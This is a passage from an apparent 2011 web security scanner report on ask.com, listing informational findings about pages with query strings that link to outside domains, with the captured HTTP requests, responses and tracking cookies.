Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir; Domain=.ask.com; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Set-Cookie: ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
Content-Length: 94462

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
</span><a class="facebook sprite" href="http://www.facebook.com/AskDotCom"></a><a class="twitter sprite" href="http://twitter.com/askdotcom"></a>
...[SNIP]...
</span><a id="ftCareers" href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" class="txt3" >Careers</a>
...[SNIP]...
</span><a id="ftHelp" href="http://asksupport.custhelp.com/app/answers/list" class="txt3" target="_blank">Help</a>
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" /></noscript>
...[SNIP]...
<noscript><iframe src="http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=2adc1d6f3adc1d6f3;u4=;u3=;u2=0;ord=-424747543?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

7.2. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/?o=0&l=dir

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-1310065746?
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://twitter.com/askdotcom
http://www.facebook.com/AskDotCom

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:06:59 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:06:59 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:06:59 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94492

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
</span><a class="facebook sprite" href="http://www.facebook.com/AskDotCom"></a><a class="twitter sprite" href="http://twitter.com/askdotcom"></a>
...[SNIP]...
</span><a id="ftCareers" href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" class="txt3" >Careers</a>
...[SNIP]...
</span><a id="ftHelp" href="http://asksupport.custhelp.com/app/answers/list" class="txt3" target="_blank">Help</a>
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" /></noscript>
...[SNIP]...
<noscript><iframe src="http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-1310065746?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

7.3. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/?o=0&l=dir

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-138491069?
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://twitter.com/askdotcom
http://www.facebook.com/AskDotCom

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAyLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:09 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:09 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:09 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94491

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
</span><a class="facebook sprite" href="http://www.facebook.com/AskDotCom"></a><a class="twitter sprite" href="http://twitter.com/askdotcom"></a>
...[SNIP]...
</span><a id="ftCareers" href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" class="txt3" >Careers</a>
...[SNIP]...
</span><a id="ftHelp" href="http://asksupport.custhelp.com/app/answers/list" class="txt3" target="_blank">Help</a>
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" /></noscript>
...[SNIP]...
<noscript><iframe src="http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-138491069?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

7.4. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/?o=0&l=dir

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-385647690?
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://twitter.com/askdotcom
http://www.facebook.com/AskDotCom

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI5LVVUQw%3D%3D&po=0&pp=dir; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.1.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:05:38 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:38 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:38 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94491

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
</span><a class="facebook sprite" href="http://www.facebook.com/AskDotCom"></a><a class="twitter sprite" href="http://twitter.com/askdotcom"></a>
...[SNIP]...
</span><a id="ftCareers" href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" class="txt3" >Careers</a>
...[SNIP]...
</span><a id="ftHelp" href="http://asksupport.custhelp.com/app/answers/list" class="txt3" target="_blank">Help</a>
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" /></noscript>
...[SNIP]...
<noscript><iframe src="http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=;u3=;u2=0;ord=-385647690?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

7.5. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://ask.pronto.com/user/search.do?&q=
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://www.askkids.com/?o=0&l=dir

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:09:53 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA5OjUyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118233

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
<li><a href="http://ask.pronto.com/user/search.do?&q="
class="txt3 b" style="">Shopping</a>
...[SNIP]...
<li>
<a href="http://www.askkids.com?o=0&l=dir"
class="txt3 b" style="">Kids</a>
...[SNIP]...
</a>, or, <a class="txt3 title b" href="http://asksupport.custhelp.com/app/answers/list" target="_blank">report a problem</a>
...[SNIP]...

<a href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" onmousedown="return ct(this,5015)" class="txt2 info l_nu" target="_top">
Careers</a>
...[SNIP]...

<a href="http://asksupport.custhelp.com/app/answers/list" onmousedown="return ct(this,54387)" class="txt2 info l_nu" target="_blank">
Help</a>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" />
</noscript>
...[SNIP]...
</script>

<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
...[SNIP]...

7.6. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/ja-ask-dialog?type=signin

The response contains the following link to another domain:

http://asksupport.custhelp.com/app/answers/list

Request

Response

7.7. http://www.ask.com/pictures previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/pictures?q=Star+Jones&o=0&l=dir&qsrc=3015

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://ask.pronto.com/user/search.do?&q=Star+Jones
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://media1.picsearch.com/is?GD5gPj98B-swbe4ltiC8EH4_ZnXHnYcjvCWirsaFR3g
http://media1.picsearch.com/is?MQXy3aeGK1vPsSBpsvVJku72LVFMiH-OtfPmmPzM-t0
http://media1.picsearch.com/is?uYkq8UoKbbEyqSFVvPxFwdnof3zBMnfztquGSliwJBY
http://media2.picsearch.com/is?HgmpqpRUhfsqvTJLx5Ot85nNjg_n_u49IGVg-V_IHwE
http://media2.picsearch.com/is?UxEYfkAWyo7kAQxGQc1HjkK5d0nBSYsvaXseGYeYrmg
http://media2.picsearch.com/is?YxpaNH9HSDoSw9H5oJweQvzdEzzaQHvms6xJJlarJdA
http://media2.picsearch.com/is?pCyoxpNWi32Pexkf0cXJPV3U5txt3AUJkrxGQrRemNY
http://media3.picsearch.com/is?4EhQpufXvSdi_X3-krZCwFTLTY26zUxrG8ToZzKzihI
http://media3.picsearch.com/is?GTs0MY3TLN6nxwYoFo0VntJdpD-JpfHKiKI5WmPIhR8
http://media3.picsearch.com/is?ReB8hiNNxGYg2MKsjs8TM8t5wAdAU2GzTAyVZ2cU5fs
http://media3.picsearch.com/is?gtAamX0iO5iJN-n4VSRkM6_DvzX_0DYUCPtcWJ5xXKE
http://media3.picsearch.com/is?jgAPFGTZ0c8ev6jKdZUKKjapInd6akDQkdoQE0hrZWc
http://media4.picsearch.com/is?h_G9gKfxqLXZKYM9u7o8YM1fjG465xYQ0XdbYxvkews
http://media4.picsearch.com/is?xtrbPaZy-PB1G22mZbkgxKZSq997yCl0mqOubVuWpE0
http://media5.picsearch.com/is?5t6T1C3x4FGyKv5IBxE3NHdrDznnHj1Z49qnDTU-wmU
http://media5.picsearch.com/is?I6Go4BTbpWN2CJV8LnF3FmG0sldz_LKdOQ_ItPdOozQ
http://media5.picsearch.com/is?OyC2e6btfy1WLSfgSiuPbAAra4fOXQh40MerfMYTTxc
http://media5.picsearch.com/is?oY5f4cPIHsRAHw9BaO3LxuzAbf1cpPSG82Vles2qOVo
http://www.askkids.com/?o=0&l=dir

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:50 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 106391

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

...[SNIP]...
<li><a href="http://ask.pronto.com/user/search.do?&q=Star+Jones"
class="txt3 b" style="">Shopping</a>
...[SNIP]...
<li>
<a href="http://www.askkids.com?o=0&l=dir"
class="txt3 b" style="">Kids</a>
...[SNIP]...
<div id="di0"><img id="image0" src="http://media3.picsearch.com/is?GTs0MY3TLN6nxwYoFo0VntJdpD-JpfHKiKI5WmPIhR8" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di1"><img id="image1" src="http://media2.picsearch.com/is?UxEYfkAWyo7kAQxGQc1HjkK5d0nBSYsvaXseGYeYrmg" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di2"><img id="image2" src="http://media5.picsearch.com/is?5t6T1C3x4FGyKv5IBxE3NHdrDznnHj1Z49qnDTU-wmU" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di3"><img id="image3" src="http://media3.picsearch.com/is?4EhQpufXvSdi_X3-krZCwFTLTY26zUxrG8ToZzKzihI" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di4"><img id="image4" src="http://media2.picsearch.com/is?YxpaNH9HSDoSw9H5oJweQvzdEzzaQHvms6xJJlarJdA" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di5"><img id="image5" src="http://media1.picsearch.com/is?uYkq8UoKbbEyqSFVvPxFwdnof3zBMnfztquGSliwJBY" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di6"><img id="image6" src="http://media2.picsearch.com/is?HgmpqpRUhfsqvTJLx5Ot85nNjg_n_u49IGVg-V_IHwE" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di7"><img id="image7" src="http://media3.picsearch.com/is?gtAamX0iO5iJN-n4VSRkM6_DvzX_0DYUCPtcWJ5xXKE" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di8"><img id="image8" src="http://media5.picsearch.com/is?oY5f4cPIHsRAHw9BaO3LxuzAbf1cpPSG82Vles2qOVo" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di9"><img id="image9" src="http://media3.picsearch.com/is?ReB8hiNNxGYg2MKsjs8TM8t5wAdAU2GzTAyVZ2cU5fs" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di10"><img id="image10" src="http://media2.picsearch.com/is?pCyoxpNWi32Pexkf0cXJPV3U5txt3AUJkrxGQrRemNY" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di11"><img id="image11" src="http://media4.picsearch.com/is?xtrbPaZy-PB1G22mZbkgxKZSq997yCl0mqOubVuWpE0" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di12"><img id="image12" src="http://media3.picsearch.com/is?jgAPFGTZ0c8ev6jKdZUKKjapInd6akDQkdoQE0hrZWc" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di13"><img id="image13" src="http://media5.picsearch.com/is?OyC2e6btfy1WLSfgSiuPbAAra4fOXQh40MerfMYTTxc" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di14"><img id="image14" src="http://media1.picsearch.com/is?GD5gPj98B-swbe4ltiC8EH4_ZnXHnYcjvCWirsaFR3g" border="0" hspace="0" vspace="0"

width="128"
/></div>
...[SNIP]...
<div id="di15"><img id="image15" src="http://media1.picsearch.com/is?MQXy3aeGK1vPsSBpsvVJku72LVFMiH-OtfPmmPzM-t0" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di16"><img id="image16" src="http://media4.picsearch.com/is?h_G9gKfxqLXZKYM9u7o8YM1fjG465xYQ0XdbYxvkews" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...
<div id="di17"><img id="image17" src="http://media5.picsearch.com/is?I6Go4BTbpWN2CJV8LnF3FmG0sldz_LKdOQ_ItPdOozQ" border="0" hspace="0" vspace="0"

height="128" /></div>
...[SNIP]...

